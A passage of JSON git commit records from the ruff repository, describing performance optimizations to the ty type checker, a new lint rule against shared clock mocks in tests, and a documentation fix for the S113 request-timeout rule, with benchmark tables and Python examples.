146.4 ms | −38% |\n| CLI, 180 classes, four class alternatives followed by a single-class\ncase | 330 ms | 252 ms | −24% |\n| CLI, 180 classes, twelve groups of three alternatives | 3.82 s | 2.55\ns | −33% |\n\nThe 90-class CLI input retired 25% fewer instructions, with peak memory\nfootprint within 1% of the parent. On the eight-case tuple inputs from\nastral-sh/ty#4676, retired instructions changed by less than 1% for both\ngeneric and non-generic classes.\n\nAlso applied the benchmark and this change to the tuple-pattern stack at\n`a08de583` (#29203). Across four paired Criterion runs on that stack,\nthe 45-class case fell from 63.9 to 53.4 ms and the 90-class case fell\nfrom 195.9 to 131.8 ms."
    },
    {
      "commit": "002d4c8f1df6161d6834a3324f8b5df37e6385da",
      "tree": "47fef71a3de9aa30ad6475a665bbb76190e40645",
      "parents": [
        "d20ca8e9bf7589494a68b550d5396646cb7512e4"
      ],
      "author": {
        "name": "Carl Meyer",
        "email": "carl@astral.sh",
        "time": "Mon Oct 26 11:52:50 2026 -0700"
      },
      "committer": {
        "name": "GitHub",
        "email": "noreply@github.com",
        "time": "Mon Oct 26 11:52:50 2026 -0700"
      },
      "message": "[ty] Normalize runtime unions on demand (#29727)\n\nWhen ty checks a value assignment such as `Alias \u003d A[int] | B[int] |\nC[int]`, it currently normalizes `A[int] | B[int]` and then compares\nthose same members again while building the final union. Longer chains\nrepeat that work for every prefix, even when nothing ever uses the value\nas a type.\n\nInstead, this PR just stores the runtime operands of `|` in the\nruntime-union object, and only builds and normalizes the actual type\nunion lazily, if or when the runtime union value needs to be understood\nas a type. For example, checking a stored union against `TypeForm[Base]`\nwalks the operands once and caches the result. Checks such as\n`isinstance` can still inspect the original operands.\n\nThis is an alternative to #29304, which keeps the type of every\nintermediate union available. For `(A | B) | C`, it normalizes `A | B`,\nthen seeds a fresh `UnionBuilder` with those members. If the\nconstruction policy and inference context match, the builder only needs\nto compare `C` with the existing members. This PR stores the `A | B`\nobject as the left operand of the outer union. If only the final type is\nrequested, one union builder visits `A`, `B`, and `C`. A second request\nfor that same union uses the cached type. The two approaches take about\nthe same time when a 256-class union is consumed once.\n\n- For a chain of assignments like `U2 \u003d U1 | Literal[2]`, each\nassignment provides a new type-variable binding context. In #29304 that\ncontext is part of the cache key, so these repeated assignments defeat\nthe caching, and extending the union can revisit its prefixes even when\nnothing ever asks for their types. This accounts for the slowness of\n#29304 on the \"Extend a literal union across 1024 assignments\" case\nbelow.\n- If `Prefix` is a long union and `(Prefix | X, Prefix | Y, ...)` is\nchecked against `tuple[TypeForm[Base], ...]`, every extension needs its\ntype. #29304 can reuse the normalized `Prefix` across those extensions.\nThis PR walks all its members for each distinct result. With 32\nextensions, #29304 is nearly twice as fast. If this case turns out to\noccur commonly in practice, we could add intermediate prefix caching as\nwell.\n\nThis PR is larger than #29304, which leaves the runtime union\nrepresentation largely intact and adds a path in `UnionBuilder` for\nreconstructing an already normalized prefix. This PR needs extra\ncomplexity in `UnionTypeInstance`, where specialization, cycle recovery,\nand runtime checks need to distinguish the original operands from the\ndenoted type. But I prefer keeping the complexity of these\nruntime-unions in the runtime-union implementation, rather than allowing\nit to leak into the core `UnionBuilder`, as it does in #29304.\n\nThis also fixes a bug (as seen in xarray in the ecosystem report) with a\nruntime check list `isinstance(x, float | int)`. Previously we would\nsimplify this union, eliminating `int`, but `int` and `float` are\nseparate classes at runtime, so we would then miss that the `isinstance`\ncheck catches integers as well. Now the `isinstance` narrowing can look\nat the original runtime operands instead.\n\n## Test plan\n\nI timed optimized builds on Apple silicon using the same main revision\n(`157caa55a5`) for all three. The #29304 build applies its reviewed\npatch (`a0f998e2b4`) to that base. Each entry is the median elapsed time\nin milliseconds for six fresh, single-worker CLI checks with warm\nfilesystem caches.\n\n| Workload | Main | #29304 | This change |\n| --- | ---: | ---: | ---: |\n| Construct an unused union of 256 specialized classes | 326 | 56 | 34 |\n| Check the stored union against `TypeForm[CommonBase]` | 328 | 57 | 60\n|\n| Extend a literal union across 1,024 assignments | 46 | 3,789 | 29 |\n| Extend a union across 128 assignments and consume each prefix | 77 |\n95 | 79 |\n| Check 32 extensions of the same 128-class prefix as type forms | 112 |\n57 | 105 |\n\n## Ecosystem report\n\nAt `dcc4ce9890`, xarray loses two false positives because `isinstance`\nnow recognizes integer chunk sizes. Three existing xarray diagnostics\ninclude the types that actually reach those branches. Two truthiness\nwarnings in aioredis and dd-trace-py display the same union members in a\ndifferent order. All seven changes are expected. [Full ecosystem\nreport](https://github.com/astral-sh/ruff/pull/29727#issuecomment-6422364992)"
    },
    {
      "commit": "d20ca8e9bf7589494a68b550d5396646cb7512e4",
      "tree": "1a7877882bf4a001f08ed03e78fad9e8fb3c2f4f",
      "parents": [
        "9525a0c4e8f1ae45b11ba910bcbfeb32bf2eb691"
      ],
      "author": {
        "name": "Charlie Marsh",
        "email": "charlie.r.marsh@gmail.com",
        "time": "Mon Oct 26 11:38:59 2026 -0700"
      },
      "committer": {
        "name": "GitHub",
        "email": "noreply@github.com",
        "time": "Mon Oct 26 11:38:59 2026 -0700"
      },
      "message": "[ty] Skip predicates that cannot affect narrowing (#29736)\n\n## Summary\n\nA full isort check went from 218 ms to 184 ms in the ecosystem run, a\n16% reduction. Across all 163 projects the average timing factor was\n1.00x, and no diagnostics changed.\n\nIn this example, `ready` can be true for either type of `value`, so the\npath that skips `isinstance` already accounts for both possibilities.\n\n```python\nfrom typing import reveal_type\n\ndef f(value: str | None, ready: bool) -\u003e None:\n    if ready or isinstance(value, str):\n        reveal_type(value)  # str | None\n```\n\n| isort | Before | After | Wall time saved | CPU time saved | Runs per\nbuild |\n| --- | ---: | ---: | ---: | ---: | ---: |\n| This patch alone | 336.0 ms | 296.9 ms | 11.6% | 6.8% | 20 |\n| With #29701 and #29706 | 227.1 ms | 215.6 ms | 5.1% | 2.9% | 60 |"
    },
    {
      "commit": "9525a0c4e8f1ae45b11ba910bcbfeb32bf2eb691",
      "tree": "3e5f5ba7bf74d9da8b5e3bde5d4d24b6eadf4e40",
      "parents": [
        "538b55873b4cc5b3c9f3d7025706d95b36b429c8"
      ],
      "author": {
        "name": "Charlie Marsh",
        "email": "charlie.r.marsh@gmail.com",
        "time": "Mon Oct 26 11:15:49 2026 -0700"
      },
      "committer": {
        "name": "GitHub",
        "email": "noreply@github.com",
        "time": "Mon Oct 26 11:15:49 2026 -0700"
      },
      "message": "[suspicious] Add `shared-clock-mock` (#29074)\n\n## Summary\n\nThis PR adds a `shared-clock-mock` rule in preview. Patching a clock or\nsleep function on a shared module can affect unrelated threads or tasks,\nincluding when the target is qualified with the consuming module:\n\n```python\nfrom unittest.mock import Mock, patch\n\nfrom example import worker\n\nsleep \u003d Mock()\nwith patch.object(worker.time, \"sleep\", sleep):\n    worker.retry()\n```\n\nInstead, you should replace the consuming module\u0027s binding to keep the\nfake local:\n\n```python\nfrom types import SimpleNamespace\nfrom unittest.mock import Mock, patch\n\nfrom example import worker\n\nsleep \u003d Mock()\nwith patch.object(worker, \"time\", SimpleNamespace(sleep\u003dsleep)):\n    worker.retry()\n```\n\nWe also flag patches of wall-clock, monotonic, and performance-counter\nreadings, plus `asyncio.sleep`. The rule recognizes `patch`,\n`patch.object`, pytest-mock fixtures, and `monkeypatch.setattr` /\n`delattr`. (Nested `.time` and `.asyncio` targets use a naming\nheuristic, so a fixture that already installed a private clock can\nproduce a false positive.)\n\n## Case analysis\n\nThe ecosystem run adds 601 diagnostics across eight projects.\n\n### Counting sleep calls in LangChain\n\nThis reduced version of LangChain’s device-login test records the\npolling interval before and after the server asks the client to slow\ndown.\n\n```python\nsleeps \u003d []\nmonkeypatch.setattr(oauth_module.time, \"sleep\", sleeps.append)\nlogin_chatgpt_device(store_path\u003dtmp_path / \"x.json\", poll_interval\u003d2.0)\nassert sleeps[:2] \u003d\u003d [2.0, 7.0]\n```\n\nThe OAuth module does `import time`, so `oauth_module.time` and `time`\nare the same object. If another thread calls `time.sleep(1)` between the\ntwo polls, the recorder sees `[2.0, 1, 7.0]`. Installing\n`SimpleNamespace(sleep\u003dsleeps.append)` on `oauth_module.time` keeps that\ncall out of the list.\n\n### Running out of clock readings in Superset\n\nSuperset tests how long a screenshot request waits for a lock. It\npatches `superset.dashboards.api.time.monotonic` with\n`side_effect\u003d[10.0, 10.5, 11.0]` and patches `time.sleep` on the same\nmodule. An unrelated `time.monotonic()` can consume the next reading.\nThe request can then see the deadline early or exhaust the iterator and\nraise `StopIteration`. A private clock for `superset.dashboards.api`\nneeds both `monotonic` and `sleep`.\n\n### Retrying an async request in Prefect\n\nPrefect simulates three failed SQS requests and expects one two-second\nbackoff. The test uses\n`@patch(\"prefect_aws.observers.ecs.asyncio.sleep\")`, but the observer\ndoes `import asyncio`. A second task awaiting `asyncio.sleep(0)` would\nalso call the mock and break `assert_called_once_with(2)`.\n\n### A fixture that already installed a private clock\n\nRuff can see the same patch in two tests even though only one reaches\nthe shared module. For example, an autouse fixture can replace\n`worker.time` before the test starts.\n\n```python\n@pytest.fixture(autouse\u003dTrue)\ndef private_clock(monkeypatch):\n    monkeypatch.setattr(worker, \"time\", SimpleNamespace(sleep\u003dlambda _: None))\n\n\ndef test_retry(monkeypatch):\n    sleep \u003d Mock()\n    monkeypatch.setattr(worker.time, \"sleep\", sleep)  # shared-clock-mock\n    worker.retry()\n```\n\nThe warning in `test_retry` is a false positive. At runtime the receiver\nis the fixture’s `SimpleNamespace`. If the fixture returns that\nnamespace, the test can use `monkeypatch.setattr(private_clock, \"sleep\",\nsleep)` and Ruff accepts it.\n\n### A package with its own `time` module\n\nGevent ships a `gevent.time` module with its own `sleep` binding. The\ndotted string is enough for Ruff to flag this reduced example.\n\n```python\nimport time\nfrom unittest.mock import patch\n\noriginal_sleep \u003d time.sleep\nwith patch(\"gevent.time.sleep\"):\n    assert time.sleep is original_sleep\n```\n\nThe assertion passes. Callers that look up `gevent.time.sleep` see the\npatch. A caller of standard-library `time.sleep` still gets the original\nfunction. Ruff infers the owner from the `.time.sleep` suffix in a\nstring target, so it reports the wrong module here."
    },
    {
      "commit": "538b55873b4cc5b3c9f3d7025706d95b36b429c8",
      "tree": "89dc51c205b24969bf2ef847d176797ebfd64f3b",
      "parents": [
        "8d25f7d53b9e444b1b85d8f5dbee215f77f00c0e"
      ],
      "author": {
        "name": "vk",
        "email": "89937361+itsvedantkumar@users.noreply.github.com",
        "time": "Mon Oct 26 22:51:49 2026 +0530"
      },
      "committer": {
        "name": "GitHub",
        "email": "noreply@github.com",
        "time": "Mon Oct 26 17:21:49 2026 +0000"
      },
      "message": "[`flake8-bandit`] Describe what the rule actually checks for `httpx` (`S113`) (#27936)\n\nHi :)\n\n## Summary\n\nThe S113 docs say it checks `requests` or `httpx` calls that omit\n`timeout`, but that hasn\u0027t been true for httpx sincee #12213\n\nhttpx applies a default timeout, so leaving the argument out is fine\nthere -- only an explicit `timeout\u003dNone` gets reported\n\nIn the code the implicit case is only reported when the module is\n`requests`\n\nSo this rewrites \"What it does\" \u0026 \"Why is this bad?\" to match what the\nrule actually does\n\nDoc comment only, no behaviour change -- closes #27868 \n\n## Test Plan\n\nRan ruff 0.16.3 over three files:\n\n- `httpx.get(url)` -\u003e nothing reported\n- `httpx.get(url, timeout\u003dNone)` -\u003e S113, \"timeout set to `None`\"\n- `requests.get(url)` -\u003e S113, \"without timeout\"\n\n`docs/rules` is generated rather than committed, so there\u0027s nothing to\nregenerate here\n\nDrafted with AI assistance (Claude Fable 5)\n\n---------\n\nCo-authored-by: Brent Westbrook \u003c36778786+ntBre@users.noreply.github.com\u003e"
    },
    {
      "commit": "8d25f7d53b9e444b1b85d8f5dbee215f77f00c0e",
      "tree": "6e0a233141daefb671e6046a578e5b0cdc01aa2c",
      "parents": [
        "34cc89ea43a8dda63bd6a10a855cc6ed957c48bd"
      ],
      "author": {
        "name": "David Peter",
        "email": "sharkdp@users.noreply.github.com",
        "time": "Mon Oct 26 17:55:55 2026 +0100"
      },
      "committer": {
        "name": "GitHub",
        "email": "noreply@github.com",
        "time": "Mon Oct 26 17:55:55 2026 +0100"
      },
      "message": "[ty] Django: minor test coverage improvements (#29729)\n\n## Summary\n\nExtend the Django foreign key example to cover passing the target model\nby keyword and assigning `None` to a relation."
    },
    {
      "commit": "34cc89ea43a8dda63bd6a10a855cc6ed957c48bd",
      "tree": "9461863f20cc31ce9285d38d68bfe9905e8267fd",
      "parents": [
        "e139fbd6e8ddd5a1653d2f2c15c1123c090a3456"
      ],
      "author": {
        "name": "Carl Meyer",
        "email": "carl@astral.sh",
        "time": "Mon Oct 26 09:47:07 2026 -0700"
      },
      "committer": {
        "name": "GitHub",
        "email": "noreply@github.com",
        "time": "Mon Oct 26 09:47:07 2026 -0700"
      },
      "message": "[ty] Benchmark narrowing large unions with class OR patterns (#29726)\n\n## Summary\n\nAdd two benchmarks for the cost of narrowing a `match` subject whose\ntype is a large union. Both check the same three OR patterns against a\nunion of 45 or 90 classes. Each of those arms returns `v` from a pattern\nsuch as `C0(value\u003dv) | C1(value\u003dv) | C2(value\u003dv)`. Using\n`typing.Union[...]` for the subject keeps the separate cost of inferring\na long chain of `|` expressions out of the measurement.\n\nRefs astral-sh/ty#4815\n\n## Test plan\n\nTimed both inputs with ty targeting Python 3.12, then changed only the\nmatch subject to `cast(object, subject)` and timed them again. All four\ninputs checked without diagnostics. The table shows median CLI wall time\nover five runs.\n\n| Classes in the union | `match subject` | `match cast(object, subject)`\n|\n| --- | ---: | ---: |\n| 45 | 76.7 ms | 32.9 ms |\n| 90 | 180.5 ms | 36.7 ms |"
    },
    {
      "commit": "e139fbd6e8ddd5a1653d2f2c15c1123c090a3456",
      "tree": "7d64db92a983c3cc875742cbc39877bc8f8da6cd",
      "parents": [
        "229cb6ebddef2885a512cc5ce3eeaecd29be30dd"
      ],
      "author": {
        "name": "Charlie Marsh",
        "email": "charlie.r.marsh@gmail.com",
        "time": "Sun Oct 25 19:17:52 2026 -0400"
      },
      "committer": {
        "name": "GitHub",
        "email": "noreply@github.com",
        "time": "Sun Oct 25 19:17:52 2026 -0400"
      },
      "message": "[ty] Reuse each generic context\u0027s inferable type variables (#29700)\n\n## Summary\n\nChecking 4,800 calls to a generic function with four parameters took 108\n→ 100 ms of CPU time. Each parameter uses the same set of type\nvariables, but ty rebuilt that set for every argument. Ty now computes\nit once per generic context.\n\nCalls with plain `int` parameters were essentially unchanged. Checking\nall of\n[PyTorch](https://github.com/pytorch/pytorch/tree/ab92945cea42e47ae398aead69af0872d340ea0f)\nshowed no consistent speedup."
    },
    {
      "commit": "229cb6ebddef2885a512cc5ce3eeaecd29be30dd",
      "tree": "9a972c5da2c0d76524740c9f5e77d99de27634f0",
      "parents": [
        "b07f24cb664e635ad5e6d035b27fb736f21fa9d4"
      ],
      "author": {
        "name": "Charlie Marsh",
        "email": "charlie.r.marsh@gmail.com",
        "time": "Sun Oct 25 16:50:01 2026 -0400"
      },
      "committer": {
        "name": "GitHub",
        "email": "noreply@github.com",
        "time": "Sun Oct 25 16:50:01 2026 -0400"
      },
      "message": "[ty] Skip method signature inference for concrete decorator results (#29708)\n\n## Summary\n\nChecking\n[`discord/state.py`](https://github.com/Rapptz/discord.py/blob/65232c38702be5844cf2ce865a4777eb1928b5d0/discord/state.py)\nopened 100 Python files instead of 112. To decide whether `Interaction`\nwas abstract, we used to follow the return annotation on\n[`Interaction.command`](https://github.com/Rapptz/discord.py/blob/65232c38702be5844cf2ce865a4777eb1928b5d0/discord/interactions.py#L355)\ninto `discord.ext.commands`.\n\n```python\ndef cached_slot_property[Owner, Value](\n    name: str,\n) -\u003e Callable[[Callable[[Owner], Value]], CachedSlotProperty[Owner, Value]]: ...\n\nclass Interaction:\n    @cached_slot_property(\"_cs_command\")\n    def command(self) -\u003e Command[Any, ..., Any] | ContextMenu | None: ...\n```\n\nThe decorator always returns a `CachedSlotProperty`. The return\nannotation on `command` determines the type of the cached value, but it\ncannot make the descriptor abstract. We now skip the method’s signature\nwhen its sole decorator rules out an abstract method or property.\n\nChecking all of discord.py showed no measurable speedup."
    },
    {
      "commit": "b07f24cb664e635ad5e6d035b27fb736f21fa9d4",
      "tree": "bd319d1f3c96ccd45a849d892ef3043fd1f85bb7",
      "parents": [
        "67db4ca68f80158fa79d5368a0500187bb06fee2"
      ],
      "author": {
        "name": "Charlie Marsh",
        "email": "charlie.r.marsh@gmail.com",
        "time": "Sun Oct 25 16:49:54 2026 -0400"
      },
      "committer": {
        "name": "GitHub",
        "email": "noreply@github.com",
        "time": "Sun Oct 25 16:49:54 2026 -0400"
      },
      "message": "[ty] Reuse class member lookups when checking overrides (#29716)\n\n## Summary\n\nA full [Home\nAssistant](https://github.com/home-assistant/core/tree/c19ae285ede74cd64c3045a3a4aa43290c224f1b)\ncheck averaged 20.47 s instead of 23.59 s across five paired runs on the\n[measured\nrevision](https://github.com/astral-sh/ruff/commit/a3d3ecdc0229e1c046cab0f7cf6ad543d8d950e2).\n\nWhen two bases define the same method, ty binds both methods to the\nsubclass to compare their signatures. A separate attribute check used to\nbind them again, even though it accepts any pair of ordinary methods. Ty\nnow skips that second binding and reuses each base’s declarations across\nsubclasses. The [ecosystem\nrun](https://github.com/astral-sh/ruff/pull/29716#issuecomment-6397258602)\nfound no stable diagnostic changes."
    },
    {
      "commit": "67db4ca68f80158fa79d5368a0500187bb06fee2",
      "tree": "076376a0dc23944aea8173f569611817ad1cf0ae",
      "parents": [
        "bfa2407e98ee1343caeefd02b4b69043509baa8c"
      ],
      "author": {
        "name": "Charlie Marsh",
        "email": "charlie.r.marsh@gmail.com",
        "time": "Sun Oct 25 16:17:03 2026 -0400"
      },
      "committer": {
        "name": "GitHub",
        "email": "noreply@github.com",
        "time": "Sun Oct 25 16:17:03 2026 -0400"
      },
      "message": "[ty] Check for instance storage without inferring method assignments (#29709)\n\n## Summary\n\nChecking Home Assistant’s [HomeKit light\nmodule](https://github.com/home-assistant/core/blob/a0162d2ff0ed061501405a617961be149b15bd1f/homeassistant/components/homekit_controller/light.py#L53)\nopened 38 Python files instead of 45 and used 10% fewer instructions.\n\nWhen a class declares `value: int \u003d 0`, ty may still need to know\nwhether a method writes `self.value`. It used to infer `make()` in\n`self.value \u003d make()` just to answer that question. Ty now stops once it\nfinds a reachable assignment. The annotation supplies the type; checking\nthe method still validates the assigned value."
    },
    {
      "commit": "bfa2407e98ee1343caeefd02b4b69043509baa8c",
      "tree": "fab30aaff9a020d9af9d47cdf069a13c572c32c5",
      "parents": [
        "157caa55a51ebae4fa541d31697e3af9a6c32ccf"
      ],
      "author": {
        "name": "Charlie Marsh",
        "email": "charlie.r.marsh@gmail.com",
        "time": "Sun Oct 25 07:11:44 2026 -0400"
      },
      "committer": {
        "name": "GitHub",
        "email": "noreply@github.com",
        "time": "Sun Oct 25 07:11:44 2026 -0400"
      },
      "message": "[ty] Skip script discovery when uv script environments are disabled (#29697)\n\n## Summary\n\nWith two files open in Home Assistant, skipping script discovery reduced\nthe language server’s mean time to first diagnostics from 465 ms to 354\nms on Linux (24%). Previously, ty indexed 10,768 files looking for PEP\n723 scripts, even though uv integration was off by default and ty had no\nscript environments to prepare.\n\nWe now scan for scripts to prepare uv environments at startup and on\nreload only when uv script environments are enabled (`TY_UV\u003dscripts` or\n`TY_UV\u003d1`). With uv off, ty still reads an open script’s inline\nsettings.\n\nThe benchmark client doesn’t register file watchers. With dynamic file\nwatching enabled, ty still scans for script-specific import paths; five\npaired runs showed no startup gain in that configuration."
    },
    {
      "commit": "157caa55a51ebae4fa541d31697e3af9a6c32ccf",
      "tree": "750abbcb2d62bbd7bc52767cd6b5f5475033bb75",
      "parents": [
        "115138631c59791d2f53c49365a59b5cac5726cc"
      ],
      "author": {
        "name": "Charlie Marsh",
        "email": "charlie.r.marsh@gmail.com",
        "time": "Sat Oct 24 22:52:44 2026 -0400"
      },
      "committer": {
        "name": "GitHub",
        "email": "noreply@github.com",
        "time": "Sun Oct 25 02:52:44 2026 +0000"
      },
      "message": "[ty] Avoid redundant work when checking inherited attributes (#29699)\n\n## Summary\n\nWhen a class inherits from multiple bases, ty resolves every inherited\nattribute on the subclass before it knows whether another base defines\nthe same name. Binding a descriptor can specialize a method signature or\ninfer a property\u0027s read and write types. None of that is needed if\nthere’s nothing to compare.\n\nThis defers binding until we find a second attribute contract. It also\ndeduplicates bases that appear both in the MRO and through the explicit\nbases. Distinct generic specializations are still checked in order."
    },
    {
      "commit": "115138631c59791d2f53c49365a59b5cac5726cc",
      "tree": "c693003ed396bb4316f7a311a072ff19323dc6d6",
      "parents": [
        "fff823d2a2e87f1e810fd0b42c53d556c77a161b"
      ],
      "author": {
        "name": "Charlie Marsh",
        "email": "charlie.r.marsh@gmail.com",
        "time": "Sat Oct 24 22:13:44 2026 -0400"
      },
      "committer": {
        "name": "GitHub",
        "email": "noreply@github.com",
        "time": "Sat Oct 24 22:13:44 2026 -0400"
      },
      "message": "[ty] Collect receiver annotations once per class (#29703)\n\n## Summary\n\nHome Assistant’s `Entity` class reads or writes 106 different `self`\nattributes across 70 methods, but none of those methods annotate one.\nWhen checking overrides, ty could search all 70 methods for each name\njust to determine that there was no declaration.\n\nCollect receiver annotations once per class and reuse that list when\nchecking overrides. When inferring an implicit attribute, skip names\nthat the class only reads: a read of `self.x` does not define `x`.\n\nOn a class with 256 methods that each read eight different attributes,\nmedian CPU time dropped from 896 ms to 126 ms over six runs. ty still\nreported the one incompatible annotation. Two full Home Assistant checks\non Linux went from 47.0 to 45.4 s and from 49.4 to 49.2 s, with about 21\nMiB less peak memory and the same 13,419 diagnostics."
    },
    {
      "commit": "fff823d2a2e87f1e810fd0b42c53d556c77a161b",
      "tree": "3fcc8327725fb582259c63433bd81f49fedff222",
      "parents": [
        "047476ab16be5ad1ec327cc09c03c2e9bc6fbb0d"
      ],
      "author": {
        "name": "Charlie Marsh",
        "email": "charlie.r.marsh@gmail.com",
        "time": "Sat Oct 24 22:13:17 2026 -0400"
      },
      "committer": {
        "name": "GitHub",
        "email": "noreply@github.com",
        "time": "Sat Oct 24 22:13:17 2026 -0400"
      },
      "message": "[ty] Skip inferred writes when a declaration determines an instance member (#29702)\n\n## Summary\n\nIn a reduced example from\n[PyTorch](https://github.com/pytorch/pytorch/blob/ab92945cea42e47ae398aead69af0872d340ea0f/torch/_dynamo/variables/misc.py#L2755),\nty now opens 8 Python files instead of 68 to resolve\n`tx.output.side_effects`. Across four profiling runs with a single\nworker, median CPU time fell from 1.20 s to 0.25 s for that example and\nfrom 1.99 s to 1.54 s for the full `misc.py` file. Diagnostics were\nunchanged.\n\nWhen looking up an instance attribute, ty inferred assignments in method\nbodies before checking whether an annotation already determined the\ntype. Those assignments could pull in modules that the lookup never\nneeded. We now return the declared type first. If a subclass default\nshadows an inherited declaration, augmented assignments such as `self.x\n+\u003d 1` in a base class can still affect the attribute’s type, so we\ncontinue to collect them.\n\nCo-authored-by: Charlie Marsh \u003ccharliemarsh@openai.com\u003e"
    },
    {
      "commit": "047476ab16be5ad1ec327cc09c03c2e9bc6fbb0d",
      "tree": "da578cf8f5612d5d7b057c43663cc68e50fc3a42",
      "parents": [
        "9d3c89e9d86a2e7e2bc85d630c513df73596c4fe"
      ],
      "author": {
        "name": "Carl Meyer",
        "email": "carl@astral.sh",
        "time": "Sat Oct 24 16:48:31 2026 -0700"
      },
      "committer": {
        "name": "GitHub",
        "email": "noreply@github.com",
        "time": "Sat Oct 24 16:48:31 2026 -0700"
      },
      "message": "[ty] Avoid expanding declared bounds in captured ParamSpecs (#29649)\n\nPassing overloaded generic functions to `Callable[P, object]` can cause\nthe constraint solver to enumerate combinations of signatures\nspecialized to their declared type-variable bounds. The captured\nsignatures already retain those bounds, so this adds substantial work\nwithout new call-site evidence.\n\nTrack the replacement constraint\u0027s provenance and skip this\nspecialization for locally bound variables in captured ParamSpec\nsignatures when the replacement comes solely from a validity constraint.\nEvidence and mixed constraints still specialize local variables, and\nfree variables retain normal substitution, including expansion of free\nParamSpecs into overloads.\n\nPreserving the generic parameters also lets a callback constrained to\n`(str, bytes)` receive either type when forwarded through a `ParamSpec`,\ninstead of being restricted to its first constraint.\n\nFixes https://github.com/astral-sh/ty/issues/4796.\n\n## Test plan\n\nCompared against `90bcf19c58b4` using the same Linux/aarch64 environment\nand optimized dev profile (Rust 1.99.0, opt-level 1, LTO off):\n\n- The issue\u0027s NumPy reproducer, using NumPy 2.5.4 and Python 3.12\nsemantics, improved from an 11.03 s mean across three runs to 0.101 s\nacross ten runs (about 110× faster). Every run completed without\ndiagnostics.\n- The six-overload benchmark improved from 225 ms to 22.5 ms across ten\nCriterion samples (about 10× faster), with no diagnostics before or\nafter.\n\n## Ecosystem report\n\nAnalyzed head `5c07a3b83f78d45ccf9994f0bfa681ee25840b9a`: one expected\nstable `invalid-argument-type` diagnostic rewrite in torchvision, now\ndescribing both constraints of the generic callback. The invalid\nargument remains rejected, and no regression was found in the reproduced\ncase. [Full ecosystem\nreport](https://github.com/astral-sh/ruff/pull/29649#issuecomment-6351757125)."
    },
    {
      "commit": "9d3c89e9d86a2e7e2bc85d630c513df73596c4fe",
      "tree": "ba0358f20cb78550ff6a5cabd440f0e2c1120e93",
      "parents": [
        "ea1865842b8443c7ccecd143dfc55384abc1d794"
      ],
      "author": {
        "name": "Charlie Marsh",
        "email": "charlie.r.marsh@gmail.com",
        "time": "Sat Oct 24 19:22:47 2026 -0400"
      },
      "committer": {
        "name": "GitHub",
        "email": "noreply@github.com",
        "time": "Sat Oct 24 19:22:47 2026 -0400"
      },
      "message": "[ty] Bound tuple expansion in type displays (#29691)\n\n## Summary\n\nWith 18 assignments of the form `b \u003d (a, a)`, `ty check --output-format\nconcise` used to print 3 MiB for a single `call-non-callable` error. It\nnow prints 1.7 KiB.\n\nEach assignment reuses the previous tuple type twice, so spelling out\nthe type in the error message doubles the number of `int`s at each step:\n\n```python\ndef f(x: int):\n    a \u003d (x, x)\n    b \u003d (a, a)\n    b()  # Object of type `tuple[tuple[int, int], tuple[int, int]]` is not callable\n```\n\nWe now share a budget of 256 elements across a tuple and its nested\ntuples. If a tuple\u0027s elements exceed the remaining budget, we display it\nas `tuple[...]`. Deep tuples still display in full when they fit. Inlay\nhints omit the text edit when the type contains an abbreviation, so\neditors won\u0027t insert `tuple[...]` as an annotation."
    },
    {
      "commit": "ea1865842b8443c7ccecd143dfc55384abc1d794",
      "tree": "a009fcb7eacf6c131bdfcd4527be49628ed99f1d",
      "parents": [
        "c08d12bfc99c6a5d73115a4802307e08aa4d738e"
      ],
      "author": {
        "name": "Carl Meyer",
        "email": "carl@astral.sh",
        "time": "Fri Oct 23 16:32:27 2026 -0700"
      },
      "committer": {
        "name": "GitHub",
        "email": "noreply@github.com",
        "time": "Fri Oct 23 16:32:27 2026 -0700"
      },
      "message": "[ty] Explain invalid aliases at their definitions (#29654)\n\nBuilds on #29200.\n\nWhen an invalid implicit alias is used as a type, the error now explains\nwhy its original right-hand side is invalid and points to that\nexpression. For example:\n\n```py\nCalled \u003d type(1)\n\n# snapshot: invalid-type-form\ndef inspect(called: Called):\n    reveal_type(called)  # revealed: Unknown\n```\n\n```text\nerror[invalid-type-form]: Variable is not allowed in parameter annotations\n  --\u003e src/mdtest_snippet.py:14:21\n   |\n14 | def inspect(called: Called):\n   |                     ^^^^^^\ninfo: Function calls are not allowed in type alias values\n  --\u003e src/mdtest_snippet.py:11:10\n   |\n11 | Called \u003d type(1)\n   |          ^^^^^^^\ninfo: See the following page for a reference on valid type expressions:\ninfo: https://typing.python.org/en/latest/spec/annotations.html#type-and-annotation-expressions\n```\n\nNo other type checker provides this kind of detailed origin explanation\nwhen a value is not usable as a type alias.\n\nFollow imports and forwarding assignments to the original definition.\nCollect these explanations independently of diagnostics in the defining\nfile, so unchecked dependencies and local suppressions do not hide them.\nOrdinary assignments remain valid at runtime; the error is reported only\nwhere the value is used as a type."
    },
    {
      "commit": "c08d12bfc99c6a5d73115a4802307e08aa4d738e",
      "tree": "8e026594f69edcc36f87e6586ef3cbf43b1e560b",
      "parents": [
        "7060eed2befa5c84ec6f8f5b1f71681d1a108ca8"
      ],
      "author": {
        "name": "Carl Meyer",
        "email": "carl@astral.sh",
        "time": "Fri Oct 23 16:32:27 2026 -0700"
      },
      "committer": {
        "name": "GitHub",
        "email": "noreply@github.com",
        "time": "Fri Oct 23 16:32:27 2026 -0700"
      },
      "message": "[ty] Infer implicit aliases from their definition as type expressions (#29200)\n\nhttps://github.com/astral-sh/ruff/pull/28425 added a new way to infer\nimplicit and PEP 613 type aliases, which I\u0027d previously described in\nhttps://github.com/astral-sh/ty/issues/1711. Rather than using the value\ntype of the alias and converting it back to its type-annotation meaning,\nthis system goes back to the original definition and infers it directly\nas a type expression. This gives us more robust validation that implicit\ntype aliases are valid type expressions, and allows us to emit accurate\ndiagnostics both for invalid-as-type-expression and for\ninvalid-at-runtime.\n\nhttps://github.com/astral-sh/ruff/pull/28425 used this new approach only\nfor recursive type aliases; this PR expands it to all implicit and PEP\n613 type aliases, so that we consistently get its benefits. This also\nsignificantly improves our conformance results for implicit type\naliases; we now pass two more conformance files.\n\nThis is an example of the sort of thing that we previously accepted as a\ntype alias, and now reject (as the conformance suite says we should):\n\n```py\nBadAlias \u003d (lambda: int)()\n\ndef f(value: BadAlias):  # Main: int, Now: invalid-type-form\n    ...\n```\n\nThis also makes us more consistent (with ourselves, other type checkers\n,and the conformance suite) when a generic type is used \"bare\" in an\nalias. The core rule we use is that the RHS of an implicit or PEP 613\ntype alias is a type expression, therefore a use of a bare generic alias\nin that type expression should be implicitly default-specialized.\n\n```py\nfrom typing import TypeVar\n\nT \u003d TypeVar(\"T\", default\u003dstr)\n\nGenAlias \u003d list[T]\nAnotherAlias \u003d GenAlias | int\n\n# this is now an error: AnotherAlias is not generic\ndef 